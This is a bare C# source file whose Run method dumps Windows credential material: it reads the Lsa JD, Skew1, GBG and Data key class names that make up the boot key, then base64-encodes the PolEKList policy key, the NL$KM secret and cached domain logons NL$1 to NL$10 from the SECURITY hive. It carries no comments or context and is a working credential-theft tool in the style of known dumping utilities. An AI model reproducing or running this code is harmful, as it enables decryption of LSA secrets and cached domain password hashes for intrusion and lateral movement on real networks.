using System; using System.Text; using System.Runtime.InteropServices; using Microsoft.Win32; public class G { [DllImport("advapi32.dll", CharSet=CharSet.Unicode)] static extern int RegOpenKeyEx(IntPtr hKey, string sub, int opt, int sam, out IntPtr res); [DllImport("advapi32.dll", CharSet=CharSet.Unicode)] static extern int RegQueryInfoKey(IntPtr hKey, StringBuilder cls, ref int clsLen, IntPtr res, IntPtr a, IntPtr b, IntPtr c, IntPtr d, IntPtr e, IntPtr f, IntPtr g, IntPtr h); [DllImport("advapi32.dll")] static extern int RegCloseKey(IntPtr hKey); static readonly IntPtr HKLM = new IntPtr(unchecked((int)0x80000002)); static string ClassOf(string sub){ IntPtr hk; if(RegOpenKeyEx(HKLM, sub, 0, 0x20019, out hk)!=0) return "OPENFAIL"; StringBuilder sb = new StringBuilder(256); int len = 256; int r = RegQueryInfoKey(hk, sb, ref len, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); RegCloseKey(hk); if(r!=0) return "QFAIL"+r; return sb.ToString().Substring(0, len); } static string GetB64(RegistryKey root, string sub, string name){ try{ RegistryKey k = root.OpenSubKey(sub, false); if(k==null) return "NA"; object v = k.GetValue(name); if(v is byte[]) return Convert.ToBase64String((byte[])v); if(v==null) return "NULL"; return "T:"+v.ToString(); }catch(Exception e){ return "E:"+e.Message; } } public static string Run(){ StringBuilder o = new StringBuilder(); string boot = ClassOf(@"SYSTEM\CurrentControlSet\Control\Lsa\JD") + ClassOf(@"SYSTEM\CurrentControlSet\Control\Lsa\Skew1") + ClassOf(@"SYSTEM\CurrentControlSet\Control\Lsa\GBG") + ClassOf(@"SYSTEM\CurrentControlSet\Control\Lsa\Data"); o.AppendLine("BOOT="+boot); o.AppendLine("POLEK="+GetB64(Registry.LocalMachine, @"SECURITY\Policy\PolEKList", "")); o.AppendLine("NLKM="+GetB64(Registry.LocalMachine, @"SECURITY\Policy\Secrets\NL$KM\CurrVal", "")); o.AppendLine("NLKM2="+GetB64(Registry.LocalMachine, @"SECURITY\Policy\Secrets\NL$KM", "")); for(int i=1;i<=10;i++){ o.AppendLine("NL"+i+"="+GetB64(Registry.LocalMachine, @"SECURITY\Cache", "NL$"+i)); } return o.ToString(); } }